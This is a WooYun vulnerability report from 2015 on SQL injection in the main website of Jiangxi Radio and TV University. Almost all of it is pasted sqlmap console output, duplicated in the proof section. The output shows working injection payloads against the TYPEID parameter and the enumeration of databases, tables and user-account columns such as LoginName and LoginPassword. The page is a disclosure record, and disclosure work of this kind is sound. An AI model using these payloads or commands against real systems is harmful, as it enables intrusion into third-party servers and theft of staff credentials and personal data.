当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135399

漏洞标题:江西广播电视大学主站存在sql注入

相关厂商:cncert国家互联网应急中心

漏洞作者: SunnyDoll

提交时间:2015-08-22 09:29

修复时间:2015-10-08 17:26

公开时间:2015-10-08 17:26

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-22: 细节已通知厂商并且等待厂商处理中
2015-08-24: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-09-03: 细节向核心白帽子及相关领域专家公开
2015-09-13: 细节向普通白帽子公开
2015-09-23: 细节向实习白帽子公开
2015-10-08: 细节向公众公开

简要描述:

RT
Happy Chinese valentine's day

详细说明:

Injection address:sqlmap.py -u http://**.**.**.**/Service/GetSchoolOverview.ashx?TYPEID=

C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/Service/GetSchoolOverview.
ashx?TYPEID=
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:42:44
[20:42:44] [WARNING] provided value for parameter 'TYPEID' is empty. Please, alw
ays use only valid parameter values so sqlmap could be able to run properly
[20:42:45] [INFO] testing connection to the target URL
[20:42:45] [WARNING] there is a DBMS error found in the HTTP response body which
could interfere with the results of the tests
[20:42:46] [INFO] testing if the target URL is stable
[20:42:46] [INFO] target URL is stable
[20:42:46] [INFO] testing if GET parameter 'TYPEID' is dynamic
[20:42:46] [INFO] confirming that GET parameter 'TYPEID' is dynamic
[20:42:47] [WARNING] GET parameter 'TYPEID' does not appear dynamic
[20:42:47] [INFO] heuristic (basic) test shows that GET parameter 'TYPEID' might
be injectable (possible DBMS: 'Microsoft SQL Server')
[20:42:48] [INFO] testing for SQL injection on GET parameter 'TYPEID'
it looks like the back-end DBMS is 'Microsoft SQL Server'. Do you want to skip t
est payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'Microsoft SQL Ser
ver' extending provided level (1) and risk (1) values? [Y/n] y
[20:43:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:43:44] [WARNING] reflective value(s) found and filtering out
[20:43:49] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Par
ameter replace'
[20:43:50] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Par
ameter replace (original value)'
[20:43:51] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORD
ER BY clause'
[20:43:53] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORD
ER BY clause (original value)'
[20:43:56] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Sta
cked queries (IF)'
[20:44:43] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Sta
cked queries'
[20:45:32] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[20:46:11] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
HAVING clause'
[20:46:16] [INFO] GET parameter 'TYPEID' is 'Microsoft SQL Server/Sybase OR erro
r-based - WHERE or HAVING clause' injectable
[20:46:16] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[20:46:16] [INFO] GET parameter 'TYPEID' is 'Microsoft SQL Server/Sybase inline
queries' injectable
[20:46:16] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)
'
[20:46:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[20:46:17] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[20:46:18] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (comment
)'
[20:46:18] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (hea
vy query)'
[20:46:19] [INFO] testing 'Microsoft SQL Server/Sybase OR time-based blind (heav
y query)'
[20:46:19] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (hea
vy query - comment)'
[20:46:20] [INFO] testing 'Microsoft SQL Server/Sybase OR time-based blind (heav
y query - comment)'
[20:46:20] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parame
ter replace'
[20:46:21] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parame
ter replace (heavy queries)'
[20:46:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:46:22] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
GET parameter 'TYPEID' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 287 HTTP(s) r
equests:
---
Parameter: TYPEID (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause
Payload: TYPEID=-1537 OR 4400=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(1
18)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (4400=4400) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(106)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: TYPEID=(SELECT CHAR(113)+CHAR(118)+CHAR(118)+CHAR(118)+CHAR(113)+(S
ELECT (CASE WHEN (1119=1119) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(10
6)+CHAR(112)+CHAR(106)+CHAR(113))
---
[20:47:04] [INFO] testing Microsoft SQL Server
[20:47:05] [INFO] confirming Microsoft SQL Server
[20:47:08] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[20:47:08] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 293 times
[20:47:08] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 20:47:08
C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/Service/GetSchoolOverview.
ashx?TYPEID= --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:47:18
[20:47:18] [WARNING] provided value for parameter 'TYPEID' is empty. Please, alw
ays use only valid parameter values so sqlmap could be able to run properly
[20:47:18] [INFO] resuming back-end DBMS 'microsoft sql server'
[20:47:18] [INFO] testing connection to the target URL
[20:47:19] [WARNING] there is a DBMS error found in the HTTP response body which
could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: TYPEID (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause
Payload: TYPEID=-1537 OR 4400=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(1
18)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (4400=4400) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(106)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: TYPEID=(SELECT CHAR(113)+CHAR(118)+CHAR(118)+CHAR(118)+CHAR(113)+(S
ELECT (CASE WHEN (1119=1119) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(10
6)+CHAR(112)+CHAR(106)+CHAR(113))
---
[20:47:20] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[20:47:20] [INFO] fetching database names
[20:47:20] [INFO] the SQL query used returns 9 entries
[20:47:21] [INFO] retrieved: jxdd
[20:47:22] [INFO] retrieved: jxdd1005
[20:47:22] [INFO] retrieved: jxddtest
[20:47:23] [INFO] retrieved: master
[20:47:24] [INFO] retrieved: model
[20:47:25] [INFO] retrieved: msdb
[20:47:25] [INFO] retrieved: ReportServer
[20:47:26] [INFO] retrieved: ReportServerTempDB
[20:47:26] [INFO] retrieved: tempdb
available databases [9]:
[*] jxdd
[*] jxdd1005
[*] jxddtest
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[20:47:27] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 12 times
[20:47:27] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 20:47:27
C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/Service/GetSchoolOverview.
ashx?TYPEID= --current-db
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:48:48
[20:48:49] [WARNING] provided value for parameter 'TYPEID' is empty. Please, alw
ays use only valid parameter values so sqlmap could be able to run properly
[20:48:49] [INFO] resuming back-end DBMS 'microsoft sql server'
[20:48:49] [INFO] testing connection to the target URL
[20:48:49] [WARNING] there is a DBMS error found in the HTTP response body which
could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: TYPEID (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause
Payload: TYPEID=-1537 OR 4400=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(1
18)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (4400=4400) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(106)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: TYPEID=(SELECT CHAR(113)+CHAR(118)+CHAR(118)+CHAR(118)+CHAR(113)+(S
ELECT (CASE WHEN (1119=1119) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(10
6)+CHAR(112)+CHAR(106)+CHAR(113))
---
[20:48:50] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[20:48:50] [INFO] fetching current database
[20:48:51] [INFO] retrieved: jxdd
current database: 'jxdd'
[20:48:51] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3 times
[20:48:51] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 20:48:51
C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/Service/GetSchoolOverview.
ashx?TYPEID= --tables -D jxdd
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 21:06:42
[21:06:42] [WARNING] provided value for parameter 'TYPEID' is empty. Please, alw
ays use only valid parameter values so sqlmap could be able to run properly
[21:06:42] [INFO] resuming back-end DBMS 'microsoft sql server'
[21:06:42] [INFO] testing connection to the target URL
[21:06:43] [WARNING] there is a DBMS error found in the HTTP response body which
could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: TYPEID (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause
Payload: TYPEID=-1537 OR 4400=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(1
18)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (4400=4400) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(106)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: TYPEID=(SELECT CHAR(113)+CHAR(118)+CHAR(118)+CHAR(118)+CHAR(113)+(S
ELECT (CASE WHEN (1119=1119) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(10
6)+CHAR(112)+CHAR(106)+CHAR(113))
---
[21:06:44] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[21:06:44] [INFO] fetching tables for database: jxdd
[21:06:45] [INFO] the SQL query used returns 52 entries
[21:07:21] [INFO] the SQL query used returns 52 entries
[21:07:22] [INFO] retrieved: dbo.IS_Type
[21:07:23] [INFO] retrieved: dbo.Sys_Log
[21:07:24] [INFO] retrieved: dbo.SYS_USERLOG
[21:07:25] [INFO] retrieved: dbo.TE_Activity
[21:07:25] [INFO] retrieved: dbo.TE_Ads
[21:07:26] [INFO] retrieved: dbo.TE_Contact
[21:07:26] [INFO] retrieved: dbo.TE_DateDic
[21:07:27] [INFO] retrieved: dbo.TE_Dept
[21:07:28] [INFO] retrieved: dbo.TE_DeptNewsType
[21:07:29] [INFO] retrieved: dbo.TE_DTJL
[21:07:29] [INFO] retrieved: dbo.TE_LINK
[21:07:30] [INFO] retrieved: dbo.TE_News
[21:07:31] [INFO] retrieved: dbo.TE_Role
[21:07:31] [INFO] retrieved: dbo.TE_RoleMenu
[21:07:32] [INFO] retrieved: dbo.TE_RoleUser
[21:07:33] [INFO] retrieved: dbo.TE_SalaryFL
[21:07:34] [INFO] retrieved: dbo.TE_SalaryGT
[21:07:35] [INFO] retrieved: dbo.TE_SalaryGZ
[21:07:36] [INFO] retrieved: dbo.TE_SalaryJX
[21:07:37] [INFO] retrieved: dbo.TE_SignUp
[21:07:37] [INFO] retrieved: dbo.TE_SignUpTime
[21:07:38] [INFO] retrieved: dbo.TE_SubsitePic
[21:07:39] [INFO] retrieved: dbo.TE_TK
[21:07:40] [INFO] retrieved: dbo.TE_TKLB
[21:07:40] [INFO] retrieved: dbo.TE_User
[21:07:41] [INFO] retrieved: dbo.TE_UserDeptNewsType
[21:07:42] [INFO] retrieved: dbo.TE_VideoNews
[21:07:43] [INFO] retrieved: dbo.View_Contact
[21:07:43] [INFO] retrieved: dbo.View_Dept
[21:07:44] [INFO] retrieved: dbo.View_DeptNewsType
[21:07:45] [INFO] retrieved: dbo.View_DTJL
[21:07:46] [INFO] retrieved: dbo.View_ISType
[21:07:46] [INFO] retrieved: dbo.View_LINK
[21:07:47] [INFO] retrieved: dbo.View_News
[21:07:48] [INFO] retrieved: dbo.View_News_Pic
[21:07:49] [INFO] retrieved: dbo.View_Role
[21:07:49] [INFO] retrieved: dbo.View_RoleUser
[21:07:50] [INFO] retrieved: dbo.View_SalaryFL
[21:07:51] [INFO] retrieved: dbo.View_SalaryGT
[21:07:52] [INFO] retrieved: dbo.View_SalaryGZ
[21:07:52] [INFO] retrieved: dbo.View_SalaryJX
[21:07:53] [INFO] retrieved: dbo.View_Sys_log
[21:07:54] [INFO] retrieved: dbo.View_TE_Activity
[21:07:55] [INFO] retrieved: dbo.View_TE_DateDic
[21:07:55] [INFO] retrieved: dbo.View_TE_NewsAudit
[21:07:56] [INFO] retrieved: dbo.View_TE_SignUp
[21:07:57] [INFO] retrieved: dbo.View_TE_SubsitePic
[21:07:57] [INFO] retrieved: dbo.View_TK
[21:07:58] [INFO] retrieved: dbo.View_TKLB
[21:07:59] [INFO] retrieved: dbo.View_User
[21:07:59] [INFO] retrieved: dbo.View_UserDeptNewsType
[21:08:00] [INFO] retrieved: dbo.View_VideoNews
Database: jxdd
[52 tables]
+-----------------------+
| IS_Type |
| SYS_USERLOG |
| Sys_Log |
| TE_Activity |
| TE_Ads |
| TE_Contact |
| TE_DTJL |
| TE_DateDic |
| TE_Dept |
| TE_DeptNewsType |
| TE_LINK |
| TE_News |
| TE_Role |
| TE_RoleMenu |
| TE_RoleUser |
| TE_SalaryFL |
| TE_SalaryGT |
| TE_SalaryGZ |
| TE_SalaryJX |
| TE_SignUp |
| TE_SignUpTime |
| TE_SubsitePic |
| TE_TK |
| TE_TKLB |
| TE_User |
| TE_UserDeptNewsType |
| TE_VideoNews |
| View_Contact |
| View_DTJL |
| View_Dept |
| View_DeptNewsType |
| View_ISType |
| View_LINK |
| View_News |
| View_News_Pic |
| View_Role |
| View_RoleUser |
| View_SalaryFL |
| View_SalaryGT |
| View_SalaryGZ |
| View_SalaryJX |
| View_Sys_log |
| View_TE_Activity |
| View_TE_DateDic |
| View_TE_NewsAudit |
| View_TE_SignUp |
| View_TE_SubsitePic |
| View_TK |
| View_TKLB |
| View_User |
| View_UserDeptNewsType |
| View_VideoNews |
+-----------------------+
[21:08:00] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 108 times
[21:08:00] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 21:08:00
C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/Service/GetSchoolOverview.
ashx?TYPEID= --columns -T View_User -D jxdd
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 21:08:59
[21:09:00] [WARNING] provided value for parameter 'TYPEID' is empty. Please, alw
ays use only valid parameter values so sqlmap could be able to run properly
[21:09:00] [INFO] resuming back-end DBMS 'microsoft sql server'
[21:09:00] [INFO] testing connection to the target URL
[21:09:00] [WARNING] there is a DBMS error found in the HTTP response body which
could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: TYPEID (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause
Payload: TYPEID=-1537 OR 4400=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(1
18)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (4400=4400) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(106)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: TYPEID=(SELECT CHAR(113)+CHAR(118)+CHAR(118)+CHAR(118)+CHAR(113)+(S
ELECT (CASE WHEN (1119=1119) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(10
6)+CHAR(112)+CHAR(106)+CHAR(113))
---
[21:09:01] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[21:09:01] [INFO] fetching columns for table 'View_User' in database 'jxdd'
[21:09:02] [INFO] the SQL query used returns 39 entries
[21:10:01] [INFO] retrieved: ViewKey
[21:10:02] [INFO] retrieved: UserID
[21:10:03] [INFO] retrieved: LoginName
[21:10:03] [INFO] retrieved: LoginPassword
[21:10:05] [INFO] retrieved: DeptID
[21:10:07] [INFO] retrieved: RealName
[21:10:08] [INFO] retrieved: Sex
[21:10:09] [INFO] retrieved: SexName
[21:10:10] [INFO] retrieved: Birthday
[21:10:11] [INFO] retrieved: Photo
[21:10:12] [INFO] retrieved: Telephone
[21:10:13] [INFO] retrieved: MobilePhone
[21:10:14] [INFO] retrieved: Email
[21:10:14] [INFO] retrieved: QQ
[21:10:15] [INFO] retrieved: MSN
[21:10:16] [INFO] retrieved: FamilyAddress
[21:10:17] [INFO] retrieved: FamilyPostCode
[21:10:17] [INFO] retrieved: FamilyPhone
[21:10:18] [INFO] retrieved: EntryDate
[21:10:19] [INFO] retrieved: LeaveDate
[21:10:20] [INFO] retrieved: Degree
[21:10:21] [INFO] retrieved: Duty
[21:10:22] [INFO] retrieved: JobTitle
[21:10:23] [INFO] retrieved: Quarters
[21:10:24] [INFO] retrieved: WorkStatus
[21:10:24] [INFO] retrieved: ygbh
[21:10:25] [INFO] retrieved: WorkStatusName
[21:10:26] [INFO] retrieved: IndexOrder
[21:10:27] [INFO] retrieved: UserType
[21:10:28] [INFO] retrieved: CreateUserID
[21:10:32] [INFO] retrieved: CreateDate
[21:10:35] [INFO] retrieved: ModifyUserID
[21:10:36] [INFO] retrieved: ModifyDate
[21:10:36] [INFO] retrieved: RecordStatus
[21:10:37] [INFO] retrieved: CreateUserName
[21:10:38] [INFO] retrieved: ModifyUserName
[21:10:38] [INFO] retrieved: ViewText
[21:10:39] [INFO] retrieved: DeptName
[21:10:39] [INFO] retrieved: PDeptName
[21:10:40] [INFO] retrieved:
Database: jxdd
Table: View_User
[39 columns]
+----------------+
| Column |
+----------------+
| Birthday |
| CreateDate |
| CreateUserID |
| CreateUserName |
| Degree |
| DeptID |
| DeptName |
| Duty |
| Email |
| EntryDate |
| FamilyAddress |
| FamilyPhone |
| FamilyPostCode |
| IndexOrder |
| JobTitle |
| LeaveDate |
| LoginName |
| LoginPassword |
| MobilePhone |
| ModifyDate |
| ModifyUserID |
| ModifyUserName |
| MSN |
| PDeptName |
| Photo |
| QQ |
| Quarters |
| RealName |
| RecordStatus |
| Sex |
| SexName |
| Telephone |
| UserID |
| UserType |
| ViewKey |
| ViewText |
| WorkStatus |
| WorkStatusName |
| ygbh |
+----------------+
[21:10:40] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 121 times
[21:10:40] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 21:10:40
C:\Python27\sqlmap>

漏洞证明:

Injection address:sqlmap.py -u http://**.**.**.**/Service/GetSchoolOverview.ashx?TYPEID=

C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/Service/GetSchoolOverview.
ashx?TYPEID=
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:42:44
[20:42:44] [WARNING] provided value for parameter 'TYPEID' is empty. Please, alw
ays use only valid parameter values so sqlmap could be able to run properly
[20:42:45] [INFO] testing connection to the target URL
[20:42:45] [WARNING] there is a DBMS error found in the HTTP response body which
could interfere with the results of the tests
[20:42:46] [INFO] testing if the target URL is stable
[20:42:46] [INFO] target URL is stable
[20:42:46] [INFO] testing if GET parameter 'TYPEID' is dynamic
[20:42:46] [INFO] confirming that GET parameter 'TYPEID' is dynamic
[20:42:47] [WARNING] GET parameter 'TYPEID' does not appear dynamic
[20:42:47] [INFO] heuristic (basic) test shows that GET parameter 'TYPEID' might
be injectable (possible DBMS: 'Microsoft SQL Server')
[20:42:48] [INFO] testing for SQL injection on GET parameter 'TYPEID'
it looks like the back-end DBMS is 'Microsoft SQL Server'. Do you want to skip t
est payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'Microsoft SQL Ser
ver' extending provided level (1) and risk (1) values? [Y/n] y
[20:43:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:43:44] [WARNING] reflective value(s) found and filtering out
[20:43:49] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Par
ameter replace'
[20:43:50] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Par
ameter replace (original value)'
[20:43:51] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORD
ER BY clause'
[20:43:53] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORD
ER BY clause (original value)'
[20:43:56] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Sta
cked queries (IF)'
[20:44:43] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Sta
cked queries'
[20:45:32] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[20:46:11] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or
HAVING clause'
[20:46:16] [INFO] GET parameter 'TYPEID' is 'Microsoft SQL Server/Sybase OR erro
r-based - WHERE or HAVING clause' injectable
[20:46:16] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[20:46:16] [INFO] GET parameter 'TYPEID' is 'Microsoft SQL Server/Sybase inline
queries' injectable
[20:46:16] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)
'
[20:46:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[20:46:17] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[20:46:18] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (comment
)'
[20:46:18] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (hea
vy query)'
[20:46:19] [INFO] testing 'Microsoft SQL Server/Sybase OR time-based blind (heav
y query)'
[20:46:19] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (hea
vy query - comment)'
[20:46:20] [INFO] testing 'Microsoft SQL Server/Sybase OR time-based blind (heav
y query - comment)'
[20:46:20] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parame
ter replace'
[20:46:21] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parame
ter replace (heavy queries)'
[20:46:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:46:22] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
GET parameter 'TYPEID' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 287 HTTP(s) r
equests:
---
Parameter: TYPEID (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause
Payload: TYPEID=-1537 OR 4400=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(1
18)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (4400=4400) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(106)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: TYPEID=(SELECT CHAR(113)+CHAR(118)+CHAR(118)+CHAR(118)+CHAR(113)+(S
ELECT (CASE WHEN (1119=1119) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(10
6)+CHAR(112)+CHAR(106)+CHAR(113))
---
[20:47:04] [INFO] testing Microsoft SQL Server
[20:47:05] [INFO] confirming Microsoft SQL Server
[20:47:08] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[20:47:08] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 293 times
[20:47:08] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 20:47:08
C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/Service/GetSchoolOverview.
ashx?TYPEID= --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:47:18
[20:47:18] [WARNING] provided value for parameter 'TYPEID' is empty. Please, alw
ays use only valid parameter values so sqlmap could be able to run properly
[20:47:18] [INFO] resuming back-end DBMS 'microsoft sql server'
[20:47:18] [INFO] testing connection to the target URL
[20:47:19] [WARNING] there is a DBMS error found in the HTTP response body which
could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: TYPEID (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause
Payload: TYPEID=-1537 OR 4400=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(1
18)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (4400=4400) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(106)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: TYPEID=(SELECT CHAR(113)+CHAR(118)+CHAR(118)+CHAR(118)+CHAR(113)+(S
ELECT (CASE WHEN (1119=1119) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(10
6)+CHAR(112)+CHAR(106)+CHAR(113))
---
[20:47:20] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
